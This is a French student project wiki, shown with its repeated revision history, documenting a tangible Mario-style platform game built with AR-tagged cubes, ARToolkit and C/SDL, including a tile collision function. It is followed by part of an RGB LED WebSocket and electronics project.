Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.
 Voici donc notre nouvelle fonction détectant les collisions :
 int CollisionDecor(Map* carte,Sprite* test)
 {
     int xmin,xmax,ymin,ymax,i,j,indicetile;
     xmin = test->x / carte->LARGEUR_TILE;
     ymin = test->y / carte->HAUTEUR_TILE;
     xmax = (test->x + test->anim->largeurchar -1) / carte->LARGEUR_TILE;
      ymax = (test->y + test->anim->hauteurchar -1) / carte->HAUTEUR_TILE;
      if (xmin<0 || ymin<0 || xmax>=carte->nbtiles_largeur_monde || ymax>=carte->nbtiles_hauteur_monde)
          return 1;
      for(i=xmin;i<=xmax;i++)
      {
          for(j=ymin;j<=ymax;j++)
          {
              indicetile = carte->schema[i][j];
              if (carte->props[indicetile].mur )
                  return 1;
              if (carte->props[indicetile].danger )
                  return 2;
          }
      }
     return 0;
 }

Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.

===Semaine 7===
====Rassemblement====

Cette semaine, nous avons travaillé sur la réunion de nos programmes. Nous avons dans un premier temps tenté une exécution séparée des deux programmes afin de vérifier que la lecture du fichier de scrolling ainsi que l'actualisation de la carte se faisait correctement. Cela fonctionne mais pour le moment nous actualisons la carte en appuyant sur la touche espace et nous tenterons la semaine prochaine de faire en sorte que cela se fasse en temps réel tout en rajoutant des améliorations du côté du jeu.

                                             
[[Fichier:exemple1rassemblement.png |Résultat obtenu ]]

====Partie Jeu====

En parallèle du rassemblement, nous avons améliorer le contenu de notre jeu. Précédemment nosus avions rajouté des vies à notre personnage, il nous faut donc maintenant afficher ce nombre de vie pour informer le joueur du nombre de vie qui lui reste. Comme pour de nombreux jeux de plateforme nous avons décidé d'afficher ce nombre de vie sous forme de cœurs. Un cœur rouge représente une vie encore présente alors qu'un cœur vide représente une vie perdu. Pour programmer cela nous créons une nouvelle fonction avec une boucle sur le nombre de vie, on colle les cœurs de la gauche vers la droite, tant que nous sommes dans le nombre de vies restants , on colle des cœurs plein, sinon on colle des cœurs vides.

===Semaine 8===
====Rassemblement====

Cette semaine nous avons terminé la mise en place des threads. Pour ce faire nous avons créer une fonction qui parcourt la matrice en sommant les valeurs de presence[i][j] et en vérifiant par rapport à la fois précédente afin de voir s'il y a eu changement. Si aucun changement on continue, mais dans le cas contraire, le programme de la caméra bloque le mutex afin de pouvoir écrire dans le fichier texte puis libère le mutex pour laisser le champs libre au programme du jeu. ( PHOTO DU CODE )

====Partie Jeu====

Du côté du jeu, nous avons continuer sur le système de vie, en gérant les collisions avec les décors "dangereux". Notre première amélioration a était de décrémenter le nombre de vie lors de la collision avec un bloc de décor de lave ( que nous spécifions de type "danger" au lieu de type ciel ou de type mur). La deuxième amélioration a était de forcer notre personnage à sauter lors d'une perte de vie , lui permettant de ne pas perdre toutes ses vie si il tombait dans la lave, mais aussi de pouvoir se remettre à l'abri sur une plateforme de type "mur".

Jeu de plateforme tangible

2016-03-28T14:33:04Z

Smaia :

__TOC__
 
==Cahier des charges==

===Présentation générale du projet===

Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface,
 ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.

===Cahier des charges===

Le dispositif devra être capable :
 - De détecter des cubes matériels formant un "niveau".
 - D'analyser ces cubes et de les convertir en numérique.
 - De les intégrer à un jeu fonctionnant sur PC
 - D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.

===Choix techniques : matériel et logiciel===

Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam
 pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes
 ( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme.
       [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]

===Établissement d'une liste de matériel===

En ce qui concerne le matériel nous aurons besoin :
 - D'une webcam pour faire les acquisitions vidéos.[Fournie 27/01/2015]
 - D'une raspberry Pi pour les traiter.[Fournie 27/01/2015]
 - D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.

===Contraintes attendues===

- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention
 à la résolution de la caméra.
 - Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.
 - La détection de la position des cubes les uns par rapport aux autres.

==Déroulement des séances==
===Semaine 1 et 2===
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.

===Semaine 3===
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.
====Partie Artoolkit====
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de "départ" imposé.
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.

====Partie Jeu====

Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte.
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.

===Semaine 4===
====Partie Conception====
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.
                                         [[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]

====Partie Artoolkit====

Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté :
                                         [[Fichier:montage.png |Exemple de disposition des cubes]]     
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]
 Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :
 1 pour le cube principal A
 2 pour le cube B
 3 pour le cube C etc..
 Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..
 [[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]

====Partie Jeu====

Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement.
 Création du niveau à partir d'une matrice comprise dans un fichier texte :
                                             
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]

Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une " gravité" , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.

===Semaine 5===
====Partie Artoolkit====
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.

                                             
[[Fichier:Resultat dans fichier.png |Résultat obtenu dans la console]]

====Partie Jeu====

L'installation de la gravité dans le jeu pour le personnage est finis avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeux détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.

===Semaine 6===
====Partie Artoolkit====
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes.
 Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.
 Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes.
 [[Fichier:Codecube2.png |Fonction pour ]]
 Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.

====Partie Jeu====

Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.
 Voici donc notre nouvelle fonction détectant les collisions :
 int CollisionDecor(Map* carte,Sprite* test)
 {
     int xmin,xmax,ymin,ymax,i,j,indicetile;
     xmin = test->x / carte->LARGEUR_TILE;
     ymin = test->y / carte->HAUTEUR_TILE;
     xmax = (test->x + test->anim->largeurchar -1) / carte->LARGEUR_TILE;
      ymax = (test->y + test->anim->hauteurchar -1) / carte->HAUTEUR_TILE;
      if (xmin<0 || ymin<0 || xmax>=carte->nbtiles_largeur_monde || ymax>=carte->nbtiles_hauteur_monde)
          return 1;
      for(i=xmin;i<=xmax;i++)
      {
          for(j=ymin;j<=ymax;j++)
          {
              indicetile = carte->schema[i][j];
              if (carte->props[indicetile].mur )
                  return 1;
              if (carte->props[indicetile].danger )
                  return 2;
          }
      }
     return 0;
 }

Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.

===Semaine 7===
====Rassemblement====

Cette semaine, nous avons travaillé sur la réunion de nos programmes. Nous avons dans un premier temps tenté une exécution séparée des deux programmes afin de vérifier que la lecture du fichier de scrolling ainsi que l'actualisation de la carte se faisait correctement. Cela fonctionne mais pour le moment nous actualisons la carte en appuyant sur la touche espace et nous tenterons la semaine prochaine de faire en sorte que cela se fasse en temps réel tout en rajoutant des améliorations du côté du jeu.

                                             
[[Fichier:exemple1Rassemblement.png |Résultat obtenu ]]

====Partie Jeu====

En parallèle du rassemblement, nous avons améliorer le contenu de notre jeu. Précédemment nous avions rajouté des vies à notre personnage, il nous faut donc maintenant afficher ce nombre de vie pour informer le joueur du nombre de vie qui lui reste. Comme de nombreux jeux de plateforme nous avons décidé d'afficher ce nombre de vie sous forme de cœur. Un cœur rouge représente une vie encore présente alors qu'un cœur vide représente une vie perdu. Pour programmer cela nous créons une nouvelle fonction avec une boucle sur le nombre de vie, on colle les cœurs de la gauche vers la droite, tant que nous sommes dans le nombre de vies restants , on colle des cœurs plein, sinon on colle des cœurs vides.

Jeu de plateforme tangible

2016-03-12T13:02:54Z

Smaia : a

__TOC__
 
==Cahier des charges==

===Présentation générale du projet===

Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface,
 ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.

===Cahier des charges===

Le dispositif devra être capable :
 - De détecter des cubes matériels formant un "niveau".
 - D'analyser ces cubes et de les convertir en numérique.
 - De les intégrer à un jeu fonctionnant sur PC
 - D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.

===Choix techniques : matériel et logiciel===

Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam
 pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes
 ( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme.
       [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]

===Établissement d'une liste de matériel===

En ce qui concerne le matériel nous aurons besoin :
 - D'une webcam pour faire les acquisitions vidéos.[Fournie 27/01/2015]
 - D'une raspberry Pi pour les traiter.[Fournie 27/01/2015]
 - D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.

===Contraintes attendues===

- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention
 à la résolution de la caméra.
 - Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.
 - La détection de la position des cubes les uns par rapport aux autres.

==Déroulement des séances==
===Semaine 1 et 2===
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.

===Semaine 3===
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.
====Partie Artoolkit====
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de "départ" imposé.
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.

====Partie Jeu====

Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte.
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.

===Semaine 4===
====Partie Conception====
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.
                                         [[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]

====Partie Artoolkit====

Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté :
                                         [[Fichier:montage.png |Exemple de disposition des cubes]]     
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]
 Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :
 1 pour le cube principal A
 2 pour le cube B
 3 pour le cube C etc..
 Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..
 [[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]

====Partie Jeu====

Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement.
 Création du niveau à partir d'une matrice comprise dans un fichier texte :
                                             
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]

Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une " gravité" , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.

===Semaine 5===
====Partie Artoolkit====
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.

                                             
[[Fichier:Resultat dans fichier.png |Résultat obtenu dans la console]]

====Partie Jeu====

L'installation de la gravité dans le jeu pour le personnage est finis avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeux détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.

===Semaine 6===
====Partie Artoolkit====
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes.
 Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.
 Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes.
 [[Fichier:Codecube2.png |Fonction pour ]]
 Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.

====Partie Jeu====

Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.
 Voici donc notre nouvelle fonction détectant les collisions :
 int CollisionDecor(Map* carte,Sprite* test)
 {
     int xmin,xmax,ymin,ymax,i,j,indicetile;
     xmin = test->x / carte->LARGEUR_TILE;
     ymin = test->y / carte->HAUTEUR_TILE;
     xmax = (test->x + test->anim->largeurchar -1) / carte->LARGEUR_TILE;
      ymax = (test->y + test->anim->hauteurchar -1) / carte->HAUTEUR_TILE;
      if (xmin<0 || ymin<0 || xmax>=carte->nbtiles_largeur_monde || ymax>=carte->nbtiles_hauteur_monde)
          return 1;
      for(i=xmin;i<=xmax;i++)
      {
          for(j=ymin;j<=ymax;j++)
          {
              indicetile = carte->schema[i][j];
              if (carte->props[indicetile].mur )
                  return 1;
              if (carte->props[indicetile].danger )
                  return 2;
          }
      }
     return 0;
 }

Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.

Jeu de plateforme tangible

2016-03-12T11:26:23Z

Smaia : /* Partie Jeu */

Jeu de plateforme tangible

2016-03-12T11:22:34Z

Smaia : /* Partie Jeu */

Jeu de plateforme tangible

2016-03-12T11:10:30Z

Smaia : /* Partie Jeu */

Jeu de plateforme tangible

2016-03-12T11:09:44Z

Smaia : /* Partie Jeu */

Fichier:Level.png

2016-03-12T11:03:14Z

Smaia : Création level à partir d'un fichier texte

Création level à partir d'un fichier texte

Jeu de plateforme tangible

2016-03-02T13:05:36Z

Smaia : /* Partie Jeu */

Jeu de plateforme tangible

2016-03-02T12:45:47Z

Smaia : /* Semaine 3 */

Jeu de plateforme tangible

2016-02-10T19:35:15Z

Smaia : /* Partie Jeu */

Gestion de LED RVB, 2014/2015, TD2

2015-04-16T13:33:40Z

Smaia : /* Installation : */

= Objectifs =

Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties :

*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.

*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.

= Première séance =
== Partie électronique ==
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.
Suite à cela, nous avons commencé à réaliser le schéma du montage.
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]

Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.

[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]

Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.

Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps "haut" divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.

Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.

== Partie informatique ==

Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme.
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED.
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.

Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.

= Deuxième séance =
== Partie électronique ==

=== Montage ===
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]]
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]

=== Programme ===
